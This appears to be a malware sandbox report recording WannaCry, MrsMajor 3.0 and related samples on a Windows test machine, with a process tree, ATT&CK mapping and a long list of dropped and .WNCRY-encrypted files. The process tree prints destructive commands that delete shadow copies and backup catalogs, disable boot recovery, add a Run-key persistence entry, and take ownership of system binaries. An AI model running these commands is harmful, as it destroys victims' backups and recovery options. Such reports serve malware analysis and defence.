-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\CameraBarcodeScannerPreview.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\CameraBarcodeScannerPreview.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\CameraBarcodeScannerPreview.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SysWOW64\agentactivationruntimestarter.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SysWOW64\agentactivationruntimestarter.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SysWOW64\agentactivationruntimestarter.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SysWOW64\appidtel.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SysWOW64\appidtel.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SysWOW64\appidtel.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SysWOW64\ARP.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SysWOW64\ARP.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SysWOW64\ARP.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\SysWOW64\at.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\SysWOW64\at.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\SysWOW64\at.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\msagent\AgentSvr.exeC:\Windows\msagent\AgentSvr.exe -Embedding1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x504 0x2f41⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\WannaCry-main\WannaCry.EXE"C:\Users\Admin\Desktop\WannaCry-main\WannaCry.EXE"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h .3⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q3⤵
-
-
C:\Users\Admin\Desktop\WannaCry-main\taskdl.exetaskdl.exe3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 289851791397829.bat3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s F:\$RECYCLE3⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\Desktop\WannaCry-main\@[email protected]
-
C:\Users\Admin\Desktop\WannaCry-main\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe4⤵
-
-
C:\Users\Admin\Desktop\WannaCry-main\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe
-
C:\Users\Admin\Desktop\WannaCry-main\@[email protected]
-
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete6⤵
-
-
-
-
-
C:\Users\Admin\Desktop\WannaCry-main\taskdl.exetaskdl.exe3⤵
-
-
C:\Users\Admin\Desktop\WannaCry-main\taskse.exe
-
-
C:\Users\Admin\Desktop\WannaCry-main\@[email protected]
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "bmvgqpls225" /t REG_SZ /d "\"C:\Users\Admin\Desktop\WannaCry-main\tasksche.exe\"" /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "bmvgqpls225" /t REG_SZ /d "\"C:\Users\Admin\Desktop\WannaCry-main\tasksche.exe\"" /f4⤵
- Modifies registry key
-
-
-
-
C:\Users\Admin\Desktop\MrsMajor 3.0\MrsMajor3.0.exe"C:\Users\Admin\Desktop\MrsMajor 3.0\MrsMajor3.0.exe"2⤵
-
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\2683.tmp\2684.tmp\2685.vbs //Nologo3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Users\Admin\AppData\Local\Temp\2683.tmp\eulascr.exe"C:\Users\Admin\AppData\Local\Temp\2683.tmp\eulascr.exe"4⤵
-
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Accessibility Features
1AppInit DLLs
1Power Settings
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Accessibility Features
1AppInit DLLs
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
1File Deletion
1Modify Registry
4Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
6System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
NotMuch.exe
eula32.exe
runner32s.exe
thetruth.jpg
fexec.vbs
xRun.vbs
OfficeIntegrator.ps1.WNCRY
stream.x64.en-us.db.WNCRY
stream.x64.x-none.db.WNCRY
background.png.WNCRY
device.png.WNCRY
overlay.png.WNCRY
superbar.png.WNCRY
background.png.WNCRY
watermark.png.WNCRY
EventStore.db.WNCRY
EventStore.db.WNCRY
EventStore.db.WNCRY
osver.txt.WNCRY
qmgr.db.WNCRY
Windows.edb.WNCRY
SmsInterceptStore.db.WNCRY
RegisterInboxTemplates.ps1.WNCRY
guest.bmp.WNCRY
guest.png.WNCRY
user-192.png.WNCRY
user-32.png.WNCRY
user-40.png.WNCRY
user-48.png.WNCRY
user.bmp.WNCRY
user.png.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeFax.tif.WNCRY
WelcomeScan.jpg.WNCRY
cversions.2.db.WNCRY
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.WNCRY
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.WNCRY
{B2EFE475-8A2F-488C-9C85-C3E7F9F96DD4}.2.ver0x0000000000000001.db.WNCRY
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRY
ActivitiesCache.db.WNCRY
craw_background.js.WNCRY
craw_window.js.WNCRY
flapper.gif.WNCRY
icon_128.png.WNCRY
icon_16.png.WNCRY
topbar_floating_button.png.WNCRY
topbar_floating_button_close.png.WNCRY
topbar_floating_button_hover.png.WNCRY
topbar_floating_button_maximize.png.WNCRY
topbar_floating_button_pressed.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
128.png.WNCRY
192.png.WNCRY
256.png.WNCRY
32.png.WNCRY
48.png.WNCRY
64.png.WNCRY
96.png.WNCRY
heavy_ad_intervention_opt_out.db.WNCRY
first_party_sets.db.WNCRY
18120909-314c-4be6-9243-2f6aafa8df69.tmp
20c464a9-420e-4737-96ee-d6c77998f7e7.tmp
4032f2b3-538b-4033-8fce-8c8df835e0cb.tmp
71b01272-1920-4e9c-bb84-cfd881f47ab7.tmp
78464696-9a9a-46fa-a88b-2f258cccf448.tmp
9a8ade75-8dc4-4c0e-b3d2-30d1f85103f8.tmp
9ac91aab-ea9a-4bc8-aff2-61ad14734aac.tmp
settings.dat
settings.dat
settings.dat
089505f6-b14a-4575-a255-4bced5344b0f.tmp
1b96fb57-79e7-4ed6-9b84-c8cced629cd1.tmp
2afd25b4-2f43-4660-8c89-aaf751820eac.tmp
334d0e87-30db-4a98-80ce-d7b74162c05e.tmp
39f4cb4b-4e7b-410d-ac9a-a1bb31db195c.tmp
3e303bcd-2e37-4437-9182-a73746edb3f6.tmp
407e6ad1-88f0-4299-9d1b-605977742be2.tmp
47bf5c87-4287-4e55-9366-8cc5c639cb5d.tmp
56b24c6b-bdb6-482c-8ee7-8cddad314bf9.tmp
5cc6f139-7086-4f43-9637-a2f322baba38.tmp
5dd7f671-3b75-41d0-8cf5-83263a90a2bc.tmp
9a7ad9d2-6ebd-4313-b73f-2130796d469b.tmp
LOG.old
LOG.old
f_000081
f_000082
f_000083
f_000084
f_000085
f_000086
f_000088
f_000089
f_00008c
f_00008d
f_00008e
f_00008f
f_000090
f_000091
f_000092
f_000093
f_000094
f_000095
f_000096
f_000097
f_000098
f_000099
f_00009a
f_00009b
f_00009c
f_00009d
f_00009e
f_00009f
f_0000a0
f_0000a1
f_0000a2
f_0000a3
f_0000a4
f_0000a5
f_0000a6
f_0000a7
f_0000a8
f_0000a9
f_0000ac
f_0000ad
f_0000ae
f_0000b0
f_0000b1
f_0000b2
f_0000b3
f_0000b4
f_0000b5
f_0000b6
f_0000b7
f_0000b8
f_0000b9
f_0000ba
f_0000bb
f_0000bc
f_0000bd
f_0000be
f_0000bf
f_0000c0
f_0000c1
f_0000c3
f_0000c5
f_0000c6
f_0000c8
f_0000c9
f_0000ce
f_0000d2
f_0000d5
f_0000d6
f_0000d7
f_0000d8
f_0000dd
f_0000df
f_0000e0
f_0000f0
f_0000f4
f_0000f8
temp-index
temp-index
the-real-index
the-real-index
data_1
c7f7dfab-136d-4542-a1d4-7aaf9031eaec.tmp
CURRENT
EdgeEDropSQLite.db.WNCRY
EdgeHubAppUsageSQLite.db.WNCRY
000003.log
LOG
MANIFEST-000001
085d45d6-649c-4235-ab50-fbf953e1d76f.tmp
5771b53a-1cf4-408d-8633-c581b6a367dd.tmp
5fb4e3d2-299d-40bc-8eb9-88eb9b3af3df.tmp
Sdch Dictionaries
a7ed585a-801a-4dca-9f3c-48bd9d31ca92.tmp
af27090c-72ad-4026-8767-f8413757eff6.tmp
c2dec0e5-f7fd-408e-a4fa-482e236f81e3.tmp
c8807a85-f690-4d26-9574-ec2d47d2b56a.tmp
db4b994a-4c75-4dbe-9e8e-d683870ca354.tmp
temp-index
the-real-index
todelete_623cd082b6202da0_0_1
temp-index
the-real-index
30605e3ed3b194de_0
30605e3ed3b194de_1
384dc59a6d2a6677_0
384dc59a6d2a6677_1
419d2417e377525a_0
419d2417e377525a_1
4c2304f17be51ca3_0
4c2304f17be51ca3_1
60bc615f903f9ff6_0
60bc615f903f9ff6_1
649832d57f50c930_0
649832d57f50c930_1
65f2b6496e622b8d_0
65f2b6496e622b8d_1
678c1e6427496f3d_0
678c1e6427496f3d_1
98d24b7a526ec205_0
98d24b7a526ec205_1
a7c636b4e9561b55_0
a7c636b4e9561b55_1
a9cbd41e60bdfdcc_0
a9cbd41e60bdfdcc_1
abd853a435f12023_0
abd853a435f12023_1
babdf388927fab59_0
babdf388927fab59_1
c46c16bee7425a89_0
c46c16bee7425a89_1
c5793167c08d18e3_0
c5793167c08d18e3_1
e4a0a7419578ae0f_0
e4a0a7419578ae0f_1
e4feb3898de82608_0
e4feb3898de82608_1
temp-index
temp-index
the-real-index
temp-index
temp-index
the-real-index
index.txt.WNCRY
index.txt.tmp
index.txt.tmp
index.txt.tmp
ba23d8ecda68de77_0
temp-index
the-real-index
140c174c097f5a50_0
f0abb5030758ef2e_0
temp-index
temp-index
sync_diagnostic.log
sync_diagnostic.log
db8f66a6-40a3-4da5-919c-bf0cc15dbda5.tmp
favorites_diagnostic.log
favorites_diagnostic.log
heavy_ad_intervention_opt_out.db.WNCRY
load_statistics.db.WNCRY
f82ed9b3-ff7e-413c-9583-5e940a99768a.tmp
RevisitationBloomfilter
ab6b364a-7af1-48be-a58d-74e7ded6c54f.tmp
e1f6adcc-7626-4d79-97a3-2c8dfbf09c84.tmp
ed2c6801-e384-4275-b543-50c924287178.tmp
efa59baa-e426-4d0b-81f2-1d23e0e5b834.tmp
936b771f-13e8-4ff2-a017-5d72c754fe97.tmp
f85be9a1-5324-4786-b01a-d345754fb3c1.tmp
first_party_sets.db.WNCRY
brndlog.txt.WNCRY
mip.policies.sqlite3.WNCRY
excel.exe.db.WNCRY
officeclicktorun.exe.db.WNCRY
onenote.exe.db.WNCRY
outlook.exe.db.WNCRY
winword.exe.db.WNCRY
AppBlue.png.WNCRY
AppErrorBlue.png.WNCRY
AppErrorWhite.png.WNCRY
AppWhite.png.WNCRY
AutoPlayOptIn.gif.WNCRY
AutoPlayOptIn.png.WNCRY
CollectSyncLogs.bat.WNCRY
ElevatedAppBlue.png.WNCRY
ElevatedAppWhite.png.WNCRY
Error.png.WNCRY
KFMHeroToast.png.WNCRY
KFMLockedFileToast.png.WNCRY
KFMScanExclusionToast.png.WNCRY
OneDriveLogo.png.WNCRY
QuotaCritical.png.WNCRY
QuotaError.png.WNCRY
QuotaNearing.png.WNCRY
ScreenshotOptIn.gif.WNCRY
ThirdPartyNotices.txt.WNCRY
Warning.png.WNCRY
alertIcon.png.WNCRY
acmDismissIcon.svg.WNCRY
blurrect.png.WNCRY
checkmark_finished.svg.WNCRY
checkmark_hovered.svg.WNCRY
checkmark_in_progress.svg.WNCRY
checkmark_selected.svg.WNCRY
chevron.svg.WNCRY
chevronUp.svg.WNCRY
cloud.svg.WNCRY
done_graphic.svg.WNCRY
errorIcon.svg.WNCRY
folderIcon.svg.WNCRY
folder_image_desktop.svg.WNCRY
folder_image_documents.svg.WNCRY
folder_image_pictures.svg.WNCRY
globeIcon.svg.WNCRY
iceBucket.svg.WNCRY
infoIcon.svg.WNCRY
kfm_folders_image.svg.WNCRY
loading.svg.WNCRY
loading_spinner.svg.WNCRY
onDemandFiles.svg.WNCRY
onDemandFilesDehydrate.svg.WNCRY
onDemandSelectiveSync.svg.WNCRY
overflowIcon.svg.WNCRY
overflowIconLarge.svg.WNCRY
partiallyFreezing.svg.WNCRY
paused.svg.WNCRY
premiumIcon.svg.WNCRY
recycleBin.svg.WNCRY
shield_icon.svg.WNCRY
signIn.svg.WNCRY
stackedIceCubes.svg.WNCRY
warning-symbol_grey.svg.WNCRY
waterGlass.svg.WNCRY
OneDriveMedTile.contrast-black_scale-100.png.WNCRY
OneDriveMedTile.contrast-black_scale-125.png.WNCRY
OneDriveMedTile.contrast-black_scale-150.png.WNCRY
OneDriveMedTile.contrast-black_scale-200.png.WNCRY
OneDriveMedTile.contrast-black_scale-400.png.WNCRY
OneDriveMedTile.contrast-white_scale-100.png.WNCRY
OneDriveMedTile.contrast-white_scale-125.png.WNCRY
OneDriveMedTile.contrast-white_scale-150.png.WNCRY
OneDriveMedTile.contrast-white_scale-200.png.WNCRY
OneDriveMedTile.contrast-white_scale-400.png.WNCRY
OneDriveMedTile.scale-100.png.WNCRY
OneDriveMedTile.scale-125.png.WNCRY
OneDriveMedTile.scale-150.png.WNCRY
OneDriveMedTile.scale-200.png.WNCRY
OneDriveMedTile.scale-400.png.WNCRY
OneDriveSmallTile.contrast-black_scale-100.png.WNCRY
OneDriveSmallTile.contrast-black_scale-125.png.WNCRY
OneDriveSmallTile.contrast-black_scale-150.png.WNCRY
OneDriveSmallTile.contrast-black_scale-200.png.WNCRY
OneDriveSmallTile.contrast-black_scale-400.png.WNCRY
OneDriveSmallTile.contrast-white_scale-100.png.WNCRY
OneDriveSmallTile.contrast-white_scale-125.png.WNCRY
OneDriveSmallTile.contrast-white_scale-150.png.WNCRY
OneDriveSmallTile.contrast-white_scale-200.png.WNCRY
OneDriveSmallTile.contrast-white_scale-400.png.WNCRY
OneDriveSmallTile.scale-100.png.WNCRY
OneDriveSmallTile.scale-125.png.WNCRY
OneDriveSmallTile.scale-150.png.WNCRY
OneDriveSmallTile.scale-200.png.WNCRY
OneDriveSmallTile.scale-400.png.WNCRY
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
cversions.1.db.WNCRY
cversions.3.db.WNCRY
{03BA58C4-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY
{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001e.db.WNCRY
{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001f.db.WNCRY
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000011.db.WNCRY
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db.WNCRY
iconcache_1280.db.WNCRY
iconcache_16.db.WNCRY
iconcache_1920.db.WNCRY
iconcache_256.db.WNCRY
iconcache_2560.db.WNCRY
iconcache_32.db.WNCRY
iconcache_48.db.WNCRY
iconcache_768.db.WNCRY
iconcache_96.db.WNCRY
iconcache_custom_stream.db.WNCRY
iconcache_exif.db.WNCRY
iconcache_idx.db.WNCRY
iconcache_sr.db.WNCRY
iconcache_wide.db.WNCRY
iconcache_wide_alternate.db.WNCRY
thumbcache_1280.db.WNCRY
thumbcache_16.db.WNCRY
thumbcache_1920.db.WNCRY
thumbcache_256.db.WNCRY
thumbcache_2560.db.WNCRY
thumbcache_32.db.WNCRY
thumbcache_48.db.WNCRY
thumbcache_768.db.WNCRY
thumbcache_96.db.WNCRY
thumbcache_custom_stream.db.WNCRY
thumbcache_exif.db.WNCRY
thumbcache_idx.db.WNCRY
thumbcache_sr.db.WNCRY
thumbcache_wide.db.WNCRY
thumbcache_wide_alternate.db.WNCRY
{8a69d345-d564-463c-aff1-a69d9e530f96}[1].bmp.WNCRY
wpndatabase.db.WNCRY
squaretile.png.WNCRY
tinytile.png.WNCRY
squaretile.png.WNCRY
tinytile.png.WNCRY
squaretile.png.WNCRY
tinytile.png.WNCRY
squaretile.png.WNCRY
tinytile.png.WNCRY
odc_homepagebigarrow_ltr-060c245a73[1].png.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_10[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_11[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_12[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_13[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_14[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_15[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_16[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_17[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_18[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_19[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_20[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_21[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_22[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_23[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_24[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_25[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_26[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_27[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_28[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_29[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_2[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_3[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_4[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_5[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_6[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_7[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt.WNCRY
C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_9[1].txt.WNCRY
0.0.filtertrie.intermediate.txt
0.0.filtertrie.intermediate.txt.WNCRY
0.1.filtertrie.intermediate.txt
0.1.filtertrie.intermediate.txt.WNCRY
0.2.filtertrie.intermediate.txt
0.2.filtertrie.intermediate.txt.WNCRY
Apps.ft
Apps.index
0.0.filtertrie.intermediate.txt.WNCRY
0.1.filtertrie.intermediate.txt.WNCRY
0.2.filtertrie.intermediate.txt.WNCRY
appsconversions.txt.WNCRY
appsglobals.txt.WNCRY
appssynonyms.txt.WNCRY
settingsconversions.txt.WNCRY
settingsglobals.txt.WNCRY
settingssynonyms.txt.WNCRY
0.0.filtertrie.intermediate.txt.WNCRY
0.1.filtertrie.intermediate.txt.WNCRY
0.2.filtertrie.intermediate.txt.WNCRY
AppCache134358714187263336.txt.WNCRY
AppCache134358714187263336.txt.~tmp
AppCache134358714237737349.txt.WNCRY
SettingsCache.txt.WNCRY
AgileDotNetRT64.dll
AgileDotNet.VMRuntime.dll
eulascr.exe
WinScrew.exe
healgen.vbs
INSTALLER.exe
INSTALLER.exe
ADVPACK.DLL
AGENTANM.DLL
AGENTCTL.DLL
AGENTDP2.DLL
AGENTDPV.DLL
AGENTMPX.DLL
AGENTPSH.DLL
AGENTSR.DLL
AGENTSVR.EXE
AGT0409.DLL
AGT0409.HLP
AGT20.INF
AGTCTL15.TLB
AGTINST.INF
MSLWVTTS.DLL
Msvcirt.dll
Msvcp50.dll
W95INF16.DLL
W95INF32.DLL
andmoipa.ttf
tv_enua.dll
tv_enua.hlp
tv_enua.inf
tvenuax.dll
KillAgent.bat
TakeOwn.bat
CloseStep.wav.WNCRY
ConfirmResume.tiff.WNCRY
DenySelect.docx.WNCRY
NewReset.svg.WNCRY
OutRestart.xltx.WNCRY
ReadNew.pot.WNCRY
SetDebug.cmd.WNCRY
WaitFind.zip.WNCRY
CloseResolve.zip.WNCRY
BackupWait.pdf.WNCRY
DisableSave.wma.WNCRY
FormatRepair.pps.WNCRY
FormatUnpublish.pot.WNCRY
MoveApprove.dwg.WNCRY
ProtectMeasure.mov.WNCRY
RepairResume.ppt.WNCRY
StopMeasure.mpeg.WNCRY
FormatUnblock.bmp.WNCRY
AssertRead.rtf.WNCRY
FormatSet.csv.WNCRY
GroupCompare.pot.WNCRY
GroupCompress.ppsm.WNCRY
HideRemove.xltx.WNCRY
PingUnprotect.zip.WNCRY
PushHide.dwg.WNCRY
RestartRegister.pps.WNCRY
SendCheckpoint.bmp.WNCRY
SetEdit.jpeg.WNCRY
UnprotectEnter.avi.WNCRY
UnregisterOptimize.wav.WNCRY
WatchLimit.mov.WNCRY
WriteSave.xlsb.WNCRY
CheckpointExit.tif.WNCRY
CompleteCheckpoint.dwg.WNCRY
DebugConnect.dwg.WNCRY
DebugMeasure.jpg.WNCRY
EnterRegister.ods.WNCRY
InitializeClear.jpg.WNCRY
InvokeRedo.dot.WNCRY
ReadImport.txt.WNCRY
SplitJoin.pot.WNCRY
UnblockRemove.xlsb.WNCRY
LockJoin.gif.WNCRY
RenameRequest.tiff.WNCRY
RequestSend.asf.WNCRY
TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRY
TM03998158[[fn=Element]].dotx.WNCRY
Normal.dotm.WNCRY
CachedImage_1920_1080_POS4.jpg
CachedImage_1920_1080_POS4.jpg.WNCRY
TranscodedWallpaper
prefs.js.WNCRY
user.js.WNCRY
cert9.db.WNCRY
key4.db.WNCRY
pkcs11.txt.WNCRY
prefs.js.WNCRY
ClearFind.ppt.WNCRY
CompressInvoke.svg.WNCRY
ConvertMove.bat.WNCRY
EnterReset.odt.WNCRY
FindOut.zip.WNCRY
FormatComplete.jpeg.WNCRY
ProtectAdd.gif.WNCRY
ShowUninstall.3gp.WNCRY
TraceRemove.iso.WNCRY
UnblockSplit.xlsb.WNCRY
RestoreOptimize.pptx.WNCRY
SkipSync.sql.WNCRY
CompressSync.jpg.WNCRY
ConvertPublish.ps1.WNCRY
EnableNew.bat.WNCRY
ExpandDisable.ps1.WNCRY
ExportUnlock.jpeg.WNCRY
GroupEdit.raw.WNCRY
InitializeReset.mid.WNCRY
RedoPop.tiff.WNCRY
ResetUninstall.vsdx.WNCRY
RestoreDisconnect.vbs.WNCRY
ShowGet.rar.WNCRY
SwitchSplit.mov.WNCRY
CloseSwitch.pptx.WNCRY
CompressDebug.tif.WNCRY
FindEdit.pot.WNCRY
OptimizeUnblock.m3u.WNCRY
RepairRequest.vb.WNCRY
RestoreUndo.mov.WNCRY
StartRequest.vb.WNCRY
SuspendOpen.wma.WNCRY
SyncSplit.jpg.WNCRY
SyncSuspend.avi.WNCRY
ConfirmRead.pptm.WNCRY
DebugExit.zip.WNCRY
ExportPop.mid.WNCRY
FindResume.pdf.WNCRY
